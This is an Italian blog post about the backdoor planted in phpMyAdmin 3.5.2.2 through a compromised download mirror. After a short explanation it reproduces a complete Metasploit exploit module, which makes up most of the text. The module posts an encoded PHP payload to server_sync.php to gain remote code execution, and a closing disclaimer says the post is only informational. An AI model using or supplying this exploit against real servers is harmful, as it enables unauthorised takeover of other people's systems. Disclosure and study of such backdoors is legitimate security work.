Uscito qualche giorno fa il bollettino di sicurezza parla di una backdoor in phpMyAdmin. Chi di noi non ha mai usato questo fantastico client per rendersi la vita più semplice utilizzando i database? Se avete scaricato la versione 3.5.2.2 di phpMyAdmin siete nei guai…

Gli hacker sono riusciti a prendere possesso di uno dei mirror chiamato cdnetworks-kr-1 e installare sul pacchetto phpMyAdmin-3.5.2.2-all-languages.zip la backdoor modificando anche il file js/cross_framing_protection.js.

Utilizzando il framework metasploit si ha la possibilità di testare il codice malevolo sul sito infettato. La backdoor si trova nel file server_sync.php di seguito troverete il codice del modulo da inserire in metasploit:

##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote   Rank = NormalRanking     include Msf::Exploit::Remote::Tcp   include Msf::Exploit::Remote::HttpClient     def initialize(info = {})     super(update_info(info,       'Name'           => 'phpMyAdmin 3.5.2.2 server_sync.php Backdoor',
      'Description'    => %q{
          This module exploits an arbitrary code execution backdoor 
        placed into phpMyAdmin v3.5.2.2 thorugh a compromised SourceForge mirror.
      },
      'Author'         => [ 'hdm' ],
      'License'        => MSF_LICENSE,
      'Version'        => '$Revision$',
      'References'     => [ ['URL', 'http://www.phpmyadmin.net/home_page/security/PMASA-2012-5.php'] ],
      'Privileged'     => false,
      'Payload'        =>
        {
          'DisableNops' => true,
          'Compat'      =>
            {
              'ConnectionType' => 'find',
            },
          # Arbitrary big number. The payload gets sent as an HTTP
          # response body, so really it's unlimited
          'Space'       => 262144, # 256k
        },
      'DefaultOptions' =>
        {
          'WfsDelay' => 30
        },
      'DisclosureDate' => 'Sep 25 2012',
      'Platform'       => 'php',
      'Arch'           => ARCH_PHP,
      'Targets'        => [[ 'Automatic', { }]],
      'DefaultTarget' => 0))

    register_options([
      OptString.new('PATH', [ true , "The base directory containing phpMyAdmin try", '/phpMyAdmin'])
    ], self.class)
  end

  def exploit

    uris = []

    tpath = datastore['PATH']
    if tpath[-1,1] == '/'
      tpath = tpath.chop
    end

    pdata = "c=" + Rex::Text.to_hex(payload.encoded, "%")

    res = send_request_raw( {
      'global'  => true,
      'uri'     => tpath + "/server_sync.php",
      'method'  => 'POST',
      'data'    => pdata,
      'headers' => {
        'Content-Type'   => 'application/x-www-form-urlencoded',
        'Content-Length' => pdata.length,
      }
    }, 1.0)

    handler
  end
end

Mi raccomando lo scopo di questo post è solo per informarvi che esiste questa grave falla. Non utilizzare la vulnerabilità per scopi illegali.